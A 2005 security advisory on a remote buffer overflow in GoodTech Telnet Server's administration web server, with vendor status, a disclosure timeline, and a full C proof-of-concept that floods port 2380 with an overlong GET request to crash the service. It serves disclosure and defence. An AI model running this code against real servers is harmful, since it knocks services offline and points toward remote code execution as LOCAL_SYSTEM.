[NT] GoodTech Telnet Server Buffer Overflow Vulnerability

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  GoodTech Telnet Server Buffer Overflow Vulnerability
------------------------------------------------------------------------


SUMMARY

 <http://www.goodtechsys.com/telnetnt2000.asp> GoodTech Telnet Server 
turns "a Windows NT/2000/XP/2003 system into a multi-user Telnet server". 
GoodTech's administration web server interface is vulnerable to a remote 
buffer overflow, allowing a malicious attacker to run arbitrary commands 
on a vulnerable machine.

DETAILS

Vulnerable Systems:
 * GoodTech Telnet Server version 5.0.6 and prior

Immune Systems:
 * GoodTech Telnet Server version 5.0.7 or newer

The GoodTech program runs an administration web server (default port 
2380). By sending a a very long string (10040 bytes) suffixed by two 
newline characters, a remote attacker can trigger a buffer overflow 
vulnerability, overwriting the instruction pointer and giving the 
possibility to execute arbitrary code remotely in the LOCAL_SYSTEM 
context.

Proof of Concept Code:
/**********************************
  GoodTech Telnet Server Buffer Overflow Crash POC
  created by Komrade
  e-mail: unsecure(at)altervista(dot)org
  web: http://unsecure.altervista.org

  Tested on GoodTech Telnet Server versions 4.0 - 5.0 (versions prior to 
5.0.7)
   on a Windows XP Professional sp2 operating system.

  This exploit connects to the Administration server of GoodTech Telnet 
Server
  (default port 2380) and sends a very long string (10040 bytes).
  After the exploit is sent the Telnet Server will crash, trying to access
  to a bad memory address: 0xDEADCODE.

  Usage: gtscrash.exe "IP address"

  Options:
  "IP address" The IP address of the computer running GoodTech Telnet 
Server
**********************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 SOCKET sock;
 struct sockaddr_in sock_addr;
 WSADATA data;
 WORD p;
 p=MAKEWORD(2,0);
 WSAStartup(p,&data);
 int i, n, err;
 unsigned char *mex;
 char risp[4096];

 printf("--------------------------------------------\r\n");
 printf("\tGoodTech Telnet Server Buffer Overflow Crash POC\r\n");
 printf("\t\t\tcreated by Komrade\r\n\r\n");

 printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
 printf("\t\tweb: http://unsecure.altervista.org\r\n";);
 printf("--------------------------------------------\r\n\r\n");


 if (argc < 2){
  printf("Usage: gtscrash.exe \"IP address\"\r\n\r\n");
  printf("Options:\r\n");
  printf("IP address\tThe IP address of the computer running GoodTech 
Telnet Server\r\n");
  exit(0);
 }

 mex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);

 sock = socket(AF_INET, SOCK_STREAM, 0);
 sock_addr.sin_family=PF_INET;
 sock_addr.sin_port=htons(2380); /* Administration web server port */
 sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

 err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
 if(err<0){
  printf("Unable to connect() to %s\n", argv[1]);
  exit(-1);
 }

 strcpy (mex, "GET /");

 for(i = strlen(mex); i < 10032; i++)
  mex[i]= 'a';
 mex[i]=0;

 strcat(mex, "\xDE\xC0\xAD\xDE"); /* Invalid IP address */
 strcat(mex, "\r\n\r\n");

 printf("Sending %d bytes.....\n\n", strlen(mex));
 n=send(sock, mex , strlen(mex), 0);

 n=recv(sock, risp, sizeof(risp), 0);
 if (n < 0)
  printf("GoodTech Telnet Server succesfully crashed!!\n");
 else{
  risp[n]=0;
  printf("%s\n", risp);
 }

 closesocket(sock);
 WSACleanup();
 return 0;
}

The original proof of concept code can be found at:  
<http://unsecure.altervista.org/security/gtscrash.c.txt> 
http://unsecure.altervista.org/security/gtscrash.c.txt

Vendor Status:
Vendor was notified on 14/03/2005. The vendor released a fix in the new 
version 5.0.7
See to download the new fixed version.

Disclosure Timeline:
11/03/2005 - Vulnerability found.
14/03/2005 - Vendor contacted.
15/03/2005 - Vendor reply.
15/03/2005 - Vulnerability fixed. A new version of GoodTech Telnet Server 
is now available at the vendor's website at:  <http://www.goodtechsys.com> 
http://www.goodtechsys.com


ADDITIONAL INFORMATION

The information has been provided by  <mailto:unsecure@altervista.org> 
Komrade.
The original article can be found at:  
<http://unsecure.altervista.org/security/goodtechtelnet.htm> 
http://unsecure.altervista.org/security/goodtechtelnet.htm



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